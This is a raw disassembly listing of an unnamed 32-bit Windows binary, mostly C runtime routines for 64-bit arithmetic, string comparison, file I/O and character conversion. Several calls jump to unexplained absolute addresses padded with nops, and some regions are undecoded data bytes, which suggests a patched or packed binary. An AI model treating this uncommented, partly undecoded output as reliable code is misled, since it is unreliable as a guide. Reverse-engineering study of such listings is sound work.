frame sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call near ptr 279027Eh nop lea eax, [ebp+var_20] push eax nop call near ptr 2870000h mov ax, [ebp+var_16] cmp ax, word_4DB2E2 jnz short loc_41D0E6 mov ax, [ebp+var_18] cmp ax, word_4DB2E0 jnz short loc_41D0E6 mov ax, [ebp+var_1A] cmp ax, word_4DB2DE jnz short loc_41D0E6 mov ax, [ebp+var_1E] cmp ax, word_4DB2DA jnz short loc_41D0E6 mov ax, [ebp+var_20] cmp ax, word_4DB2D8 jnz short loc_41D0E6 mov eax, dword_4DB2D0 jmp short loc_41D12B ; --------------------------------------------------------------------------- loc_41D0E6: ; CODE XREF: sub_41D081+28j ; sub_41D081+35j ... lea eax, [ebp+var_CC] push eax call near ptr 2860000h nop cmp eax, 0FFFFFFFFh jz short loc_41D113 cmp eax, 2 jnz short loc_41D10F cmp [ebp+var_32], 0 jz short loc_41D10F cmp [ebp+var_24], 0 jz short loc_41D10F push 1 pop eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D10F: ; CODE XREF: sub_41D081+7Aj ; sub_41D081+81j ... xor eax, eax jmp short loc_41D116 ; --------------------------------------------------------------------------- loc_41D113: ; CODE XREF: sub_41D081+75j or eax, 0FFFFFFFFh loc_41D116: ; CODE XREF: sub_41D081+8Cj ; sub_41D081+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4DB2D8 movsd movsd movsd movsd pop edi mov dword_4DB2D0, eax pop esi loc_41D12B: ; CODE XREF: sub_41D081+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_422669 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D15B mov [ecx], eax locret_41D15B: ; CODE XREF: sub_41D081+D6j leave retn sub_41D081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D160 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DB32C cmp dword ptr [eax+8], 0 jnz short loc_41D1B3 mov al, 0FFh mov edi, edi loc_41D17C: ; CODE XREF: sub_41D160+28j ; sub_41D160+48j or al, al jz short loc_41D1AE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D17C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D17C sbb al, al sbb al, 0FFh loc_41D1AE: ; CODE XREF: sub_41D160+1Ej movsx eax, al jmp short loc_41D1E7 ; --------------------------------------------------------------------------- loc_41D1B3: ; CODE XREF: sub_41D160+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D1BC: ; CODE XREF: sub_41D160+68j ; sub_41D160+80j or al, al jz short loc_41D1E7 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D1BC push eax push ebx call sub_41D74C mov ebx, eax add esp, 4 call sub_41D74C add esp, 4 cmp bl, al jz short loc_41D1BC sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D1E7: ; CODE XREF: sub_41D160+51j ; sub_41D160+5Ej pop ebx pop esi pop edi leave retn sub_41D160 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D268 mov edi, [esp+14h] test edi, edi jz short loc_41D20B cmp edi, 1 jz short loc_41D20B cmp edi, 2 jnz short loc_41D268 loc_41D20B: ; CODE XREF: ___:0041D1FFj ; ___:0041D204j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D222 push esi call sub_4227C5 add [esp+14h], eax pop ecx xor edi, edi loc_41D222: ; CODE XREF: ___:0041D213j push esi call sub_41DB8B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D237 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D24B ; --------------------------------------------------------------------------- loc_41D237: ; CODE XREF: ___:0041D22Ej test al, 1 jz short loc_41D24B test al, 8 jz short loc_41D24B test ah, 4 jnz short loc_41D24B mov dword ptr [esi+18h], 200h loc_41D24B: ; CODE XREF: ___:0041D235j ; ___:0041D239j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42272B add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D275 ; --------------------------------------------------------------------------- loc_41D268: ; CODE XREF: ___:0041D1F7j ; ___:0041D209j mov dword_4DB278, 16h or eax, 0FFFFFFFFh loc_41D275: ; CODE XREF: ___:0041D266j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep ; sub_41386B+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D299 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D299: ; CODE XREF: sub_41D280+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2B4 proc near ; CODE XREF: ___:004162E3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D2D8 xor eax, eax jmp loc_41D3A5 ; --------------------------------------------------------------------------- loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D2EB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D2F2 ; --------------------------------------------------------------------------- loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj mov [ebp+arg_C], 1000h loc_41D2F2: ; CODE XREF: sub_41D2B4+35j ; sub_41D2B4+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D326 mov eax, [esi+4] test eax, eax jz short loc_41D326 cmp ebx, eax mov edi, ebx jb short loc_41D30C mov edi, eax loc_41D30C: ; CODE XREF: sub_41D2B4+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41C310 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41D36C ; --------------------------------------------------------------------------- loc_41D326: ; CODE XREF: sub_41D2B4+47j ; sub_41D2B4+4Ej cmp ebx, [ebp+arg_C] jb short loc_41D371 test ecx, ecx jz short loc_41D33A push esi call sub_41DB8B test eax, eax pop ecx jnz short loc_41D3B3 loc_41D33A: ; CODE XREF: sub_41D2B4+79j cmp [ebp+arg_C], 0 jz short loc_41D34D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41D34F ; --------------------------------------------------------------------------- loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj mov edi, ebx loc_41D34F: ; CODE XREF: sub_41D2B4+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41D3AA add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41D3AA loc_41D36C: ; CODE XREF: sub_41D2B4+70j mov edi, [ebp+var_4] jmp short loc_41D39A ; --------------------------------------------------------------------------- loc_41D371: ; CODE XREF: sub_41D2B4+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F58A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D3B3 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41D39A mov [ebp+arg_C], 1 loc_41D39A: ; CODE XREF: sub_41D2B4+BBj ; sub_41D2B4+DDj test ebx, ebx jnz loc_41D2F2 mov eax, [ebp+arg_8] loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj ; sub_41D2B4+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj ; sub_41D2B4+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41D3B5 ; --------------------------------------------------------------------------- loc_41D3B3: ; CODE XREF: sub_41D2B4+84j ; sub_41D2B4+CFj mov eax, edi loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41D3A5 sub_41D2B4 endp ; =============== S U B R O U T I N E ======================================= sub_41D3BE proc near ; CODE XREF: sub_416908+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call near ptr 26A04DCh nop cmp eax, 0FFFFFFFFh jnz short loc_41D3DE nop call near ptr 2690CE2h push eax call sub_4203DF pop ecx loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj test al, 1 jz short loc_41D3FF test [esp+arg_4], 2 jz short loc_41D3FF mov dword_4DB278, 0Dh mov dword_4DB27C, 5 jmp short loc_41D3DA ; --------------------------------------------------------------------------- loc_41D3FF: ; CODE XREF: sub_41D3BE+22j ; sub_41D3BE+29j xor eax, eax retn sub_41D3BE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D410 proc near ; CODE XREF: sub_416922+3Fp ; sub_41A98C+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41D432 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41D473 ; --------------------------------------------------------------------------- loc_41D432: ; CODE XREF: sub_41D410+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41D440: ; CODE XREF: sub_41D410+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D440 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41D46E cmp edx, [esp+8+arg_4] ja short loc_41D46E jb short loc_41D46F cmp eax, [esp+8+arg_0] jbe short loc_41D46F loc_41D46E: ; CODE XREF: sub_41D410+4Ej ; sub_41D410+54j dec esi loc_41D46F: ; CODE XREF: sub_41D410+56j ; sub_41D410+5Cj xor edx, edx mov eax, esi loc_41D473: ; CODE XREF: sub_41D410+20j pop esi pop ebx retn 10h sub_41D410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D480 proc near ; CODE XREF: sub_416922+2Dp ; sub_41A98C+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41D4A1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41D4F1 ; --------------------------------------------------------------------------- loc_41D4A1: ; CODE XREF: sub_41D480+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41D4AF: ; CODE XREF: sub_41D480+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41D4AF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41D4DA cmp edx, [esp+4+arg_4] ja short loc_41D4DA jb short loc_41D4E2 cmp eax, [esp+4+arg_0] jbe short loc_41D4E2 loc_41D4DA: ; CODE XREF: sub_41D480+4Aj ; sub_41D480+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41D4E2: ; CODE XREF: sub_41D480+52j ; sub_41D480+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41D4F1: ; CODE XREF: sub_41D480+1Fj pop ebx retn 10h sub_41D480 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp ; sub_416A32+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41D521 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41D521: ; CODE XREF: sub_41D500+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41D53D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41D53D: ; CODE XREF: sub_41D500+27j or eax, eax jnz short loc_41D559 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41D59A ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D500+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41D567: ; CODE XREF: sub_41D500+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41D567 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41D595 cmp edx, [esp+0Ch+arg_4] ja short loc_41D595 jb short loc_41D596 cmp eax, [esp+0Ch+arg_0] jbe short loc_41D596 loc_41D595: ; CODE XREF: sub_41D500+85j ; sub_41D500+8Bj dec esi loc_41D596: ; CODE XREF: sub_41D500+8Dj ; sub_41D500+93j xor edx, edx mov eax, esi loc_41D59A: ; CODE XREF: sub_41D500+57j dec edi jnz short loc_41D5A4 neg edx neg eax sbb edx, 0 loc_41D5A4: ; CODE XREF: sub_41D500+9Bj pop ebx pop esi pop edi retn 10h sub_41D500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp ; sub_4170EC+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DB334 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_41D5DE mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41D645 loc_41D5C6: ; CODE XREF: sub_41D5AA+30j mov cl, [edx] cmp cl, 61h jl short loc_41D5D7 cmp cl, 7Ah jg short loc_41D5D7 sub cl, 20h mov [edx], cl loc_41D5D7: ; CODE XREF: sub_41D5AA+21j ; sub_41D5AA+26j inc edx cmp [edx], bl jnz short loc_41D5C6 jmp short loc_41D645 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D5AA+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_422ACA mov edi, eax add esp, 20h cmp edi, ebx jz short loc_41D637 push edi call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_41D637 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D637 push [ebp+var_4] push [ebp+arg_0] call sub_41BEB0 pop ecx pop ecx loc_41D637: ; CODE XREF: sub_41D5AA+53j ; sub_41D5AA+61j ... push [ebp+var_4] call sub_41B0B1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41D645: ; CODE XREF: sub_41D5AA+1Aj ; sub_41D5AA+32j pop ebx leave retn sub_41D5AA endp ; =============== S U B R O U T I N E ======================================= sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D65F push 4 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D648+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 retn sub_41D648 endp ; =============== S U B R O U T I N E ======================================= sub_41D670 proc near ; CODE XREF: sub_420510+76p ; sub_420510+88p ... arg_0 = dword ptr 4 cmp dword_43C504, 1 jle short loc_41D687 push 8 push [esp+4+arg_0] call sub_41F515 pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41D687: ; CODE XREF: sub_41D670+7j mov eax, [esp+arg_0] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 retn sub_41D670 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41D6EC mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41D6ED test eax, 1 jz short loc_41D6CD mov cl, [esi] cmp cl, [edi] jnz short loc_41D71A inc esi inc edi dec eax jz short loc_41D6EA loc_41D6CD: ; CODE XREF: ___:0041D6C0j ; ___:0041D6E8j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41D71A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41D71A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41D6CD loc_41D6EA: ; CODE XREF: ___:0041D6CBj ; ___:0041D724j pop edi pop esi locret_41D6EC: ; CODE XREF: ___:0041D6A6j retn ; --------------------------------------------------------------------------- loc_41D6ED: ; CODE XREF: ___:0041D6B9j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_41D722 repe cmpsd jz short loc_41D722 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_41D715 cmp ch, dh jnz short loc_41D715 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_41D715 cmp ch, dh loc_41D715: ; CODE XREF: ___:0041D703j ; ___:0041D707j ... mov eax, 0 loc_41D71A: ; CODE XREF: ___:0041D6C6j ; ___:0041D6D3j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41D722: ; CODE XREF: ___:0041D6F5j ; ___:0041D6F9j test eax, eax jz short loc_41D6EA mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_41D715 dec eax jz short loc_41D749 cmp dh, ch jnz short loc_41D715 dec eax jz short loc_41D749 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_41D715 dec eax loc_41D749: ; CODE XREF: ___:0041D72Fj ; ___:0041D736j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D74C proc near ; CODE XREF: sub_418068+6p ; sub_418086+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx push esi push edi jnz short loc_41D779 mov eax, [ebp+arg_0] cmp eax, 41h jl loc_41D812 cmp eax, 5Ah jg loc_41D812 add eax, 20h jmp loc_41D812 ; --------------------------------------------------------------------------- loc_41D779: ; CODE XREF: sub_41D74C+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_41D7AD cmp dword_43C504, esi jle short loc_41D79B push esi push ebx call sub_41F515 pop ecx pop ecx jmp short loc_41D7A5 ; --------------------------------------------------------------------------- loc_41D79B: ; CODE XREF: sub_41D74C+42j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, esi loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj test eax, eax jnz short loc_41D7AD loc_41D7A9: ; CODE XREF: sub_41D74C+ADj mov eax, ebx jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj ; sub_41D74C+5Bj mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D7D1 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41D7DA ; --------------------------------------------------------------------------- loc_41D7D1: ; CODE XREF: sub_41D74C+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41D7DA: ; CODE XREF: sub_41D74C+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_41D7A9 cmp eax, esi jnz short loc_41D805 movzx eax, [ebp+var_4] jmp short loc_41D812 ; --------------------------------------------------------------------------- loc_41D805: ; CODE XREF: sub_41D74C+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D812: ; CODE XREF: sub_41D74C+16j ; sub_41D74C+1Fj ... pop edi pop esi pop ebx leave retn sub_41D74C endp ; =============== S U B R O U T I N E ======================================= sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp ; sub_419593+55p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_41D82E loc_41D824: ; CODE XREF: sub_41D817+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_41D824 loc_41D82E: ; CODE XREF: sub_41D817+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41D817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp ; sub_4185A4+90p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_41D901 mov edi, [ebp+arg_8] cmp edi, esi jz loc_41D92E cmp dword_4DB334, esi jnz short loc_41D885 cmp edi, esi jbe loc_41D92E loc_41D864: ; CODE XREF: sub_41D834+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_41D92E inc eax inc edx inc edx cmp eax, edi jb short loc_41D864 jmp loc_41D92E ; --------------------------------------------------------------------------- loc_41D885: ; CODE XREF: sub_41D834+26j mov ebx, [ebp+arg_4] mov esi, dword_427180 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DB344 call esi test eax, eax jnz loc_41D92D call near ptr 2690CE2h nop cmp eax, 7Ah jz short loc_41D8BF loc_41D8B0: ; CODE XREF: sub_41D834+CBj ; sub_41D834+F7j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D8BF: ; CODE XREF: sub_41D834+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41D8C7: ; CODE XREF: sub_41D834+B3j mov cl, [eax] test cl, cl jz short loc_41D8E9 mov edx, off_43C2F8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41D8DE inc eax loc_41D8DE: ; CODE XREF: sub_41D834+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41D8C7 loc_41D8E9: ; CODE XREF: sub_41D834+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DB344 call esi test eax, eax jnz short loc_41D92E jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D901: ; CODE XREF: sub_41D834+Fj cmp dword_4DB334, esi jnz short loc_41D914 push [ebp+arg_4] call sub_41AFE0 pop ecx jmp short loc_41D92E ; --------------------------------------------------------------------------- loc_41D914: ; CODE XREF: sub_41D834+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DB344 nop call near ptr 2830000h cmp eax, esi jz short loc_41D8B0 loc_41D92D: ; CODE XREF: sub_41D834+6Bj dec eax loc_41D92E: ; CODE XREF: sub_41D834+1Aj ; sub_41D834+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41D834 endp ; --------------------------------------------------------------------------- db 50h dd 0C5B4F4ACh, 77F541DAh, 0C65DA0D3h, 0A1647E39h, 0 dd 25896450h, 0 dd 5358EC83h, 65895756h, 0F8E890E8h, 3302463Fh, 89D48AD2h dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h dd 5BE8FC75h, 90000059h, 463F95E8h, 0C90CA302h, 19E8004Dh dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2462628h, 5495E8h dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah dd 569C75FFh, 0A3E89056h, 5002282Bh, 0FE3820E8h, 0A04589FFh dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h db 0FFh ; =============== S U B R O U T I N E ======================================= sub_41DA29 proc near ; CODE XREF: sub_41D052+16p ; ___:00422F18p ... arg_0 = dword ptr 4 cmp dword_4DB2F0, 1 jnz short loc_41DA37 call sub_423590 loc_41DA37: ; CODE XREF: sub_41DA29+7j push [esp+arg_0] call sub_4235C9 push 0FFh call off_43A2C0 pop ecx pop ecx retn sub_41DA29 endp ; --------------------------------------------------------------------------- dw 3D83h dd offset dword_4DB2F0 dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h dd 0A58244E8h db 77h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap ; sub_423A33+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DC6C0 jnb loc_41DB0C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41DB0C push edi call sub_4238A2 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DAEB cmp edi, 1 jz short loc_41DAB9 cmp edi, 2 jnz short loc_41DACF loc_41DAB9: ; CODE XREF: sub_41DA72+40j push 2 call sub_4238A2 push 1 mov ebp, eax call sub_4238A2 pop ecx cmp eax, ebp pop ecx jz short loc_41DAEB loc_41DACF: ; CODE XREF: sub_41DA72+45j push edi call sub_4238A2 pop ecx push eax call near ptr 26708E6h nop test eax, eax jnz short loc_41DAEB nop call near ptr 2690CE2h mov ebp, eax jmp short loc_41DAED ; --------------------------------------------------------------------------- loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj ; sub_41DA72+5Bj ... xor ebp, ebp loc_41DAED: ; CODE XREF: sub_41DA72+77j push edi call sub_423828 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41DB08 push ebp call sub_4203DF pop ecx jmp short loc_41DB1D ; --------------------------------------------------------------------------- loc_41DB08: ; CODE XREF: sub_41DA72+8Bj xor eax, eax jmp short loc_41DB20 ; --------------------------------------------------------------------------- loc_41DB0C: ; CODE XREF: sub_41DA72+Ej ; sub_41DA72+2Fj and dword_4DB27C, 0 mov dword_4DB278, 9 loc_41DB1D: ; CODE XREF: sub_41DA72+94j or eax, 0FFFFFFFFh loc_41DB20: ; CODE XREF: sub_41DA72+98j pop edi pop esi pop ebp pop ebx retn sub_41DA72 endp ; =============== S U B R O U T I N E ======================================= sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41DB4E test al, 8 jz short loc_41DB4E push dword ptr [esi+8] call sub_41B0B1 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax 